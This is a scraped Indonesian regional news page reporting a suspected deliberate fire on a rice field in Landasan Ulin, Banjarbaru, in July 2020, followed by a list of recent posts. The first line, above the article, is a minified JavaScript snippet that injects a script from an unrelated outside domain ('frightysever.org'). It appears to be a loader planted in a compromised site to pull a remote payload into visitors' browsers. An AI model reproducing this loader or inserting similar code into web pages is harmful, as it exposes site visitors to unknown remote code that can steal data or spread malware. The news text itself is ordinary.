(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

Lahan Persawahan Diduga Sengaja Dibakar di Landasan Ulin, Pelaku Belum Diketahui


KANALKALIMANTAN.COM, BANJARBARU – Kebakaran lahan kosong terjadi Kamis (23/7/2020) siang, kobaran api muncul di area lahan, di Kelurahan Syamsudin Noor, Banjarbaru.

Awal mula kejadian ini terpantau dari asap yang membumbung tinggi di wilayah Kelurahan Syamsudin Noor.

Petugas gabungan baik itu Badan Penanggulangan Bencana Daerah (BPBD), Polri, TNI, Barisan Pemadam Kebakaran (BPK) swasta terjunkan melakukan pemadaman.

Baca juga: ‘Sakit Kepala’ Petarung Independen di Pilkada 2020, Calon Parpol Mulai Lobi Limpahan Suara!

 

Menurut laporan yang diterima Kanalkalimantan.com, api berhasil dikuasai sekitar pukul 11:14 Wita. Beruntungnya api tidak sempat menjalar lebih luas. Dalam kejadian ini, 1 petak area persawahan hangus terbakar.

 

Kepala BPBD Kota Banjarbaru Zaini Syahranie mengungkapkan kejadian Karhutla ini diduga kuat merupakan faktor kesengajaan. Pasalnya, beberapa saksi di lapangan melihat aksi pembakaran itu.

“Diduga pemilik lahan sengaja membakar untuk membuka lahan. Tentunya ini tidak diperbolehkan karena dampaknya sangat merugikan masyarakat. Terlebih lagi, ada aturan dan sanksi yang ditegakkan bagi siapapun yang membakar dengan sengaja,” katanya.

Namun begitu, Zaini menyatakan pelaku pembakaran lahan sampai saat ini belum diketahui. Dirinya mengimbau kepada seluruh masyarakat untuk tidak melakukan pembukaan lahan dengan cara dibakar seperti yang terdeteksi kemarin.

Baca juga: Akui Positif Corona, Wabup Kotawaringin Barat: Bukan Aib!

Apalagi lagi di wilayah Banjarbaru terdapat lahan gambut yang menyebabkan titik api sulit dipadamkan. Kilas balik pada tahun-tahun sebelumnya, Karhutla di Banjarbaru sangat berdampak pada kesehatan hingga pada objek vital penerbangan di Bandara Internasional Syamsudin Noor.

“Harus kita pahami bahwa sekarang kita juga tengah dilanda pandemi. Ancaman Karhutla seperti ini jelas membahayakan kesehatan warga, jadi kita minta agar masyarakat bisa kooperatif soal pencegahan Karhutla ini,” ujarnya. (kanalkalimantan.com/rico)

Reporter : rico
Editor : bie

Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.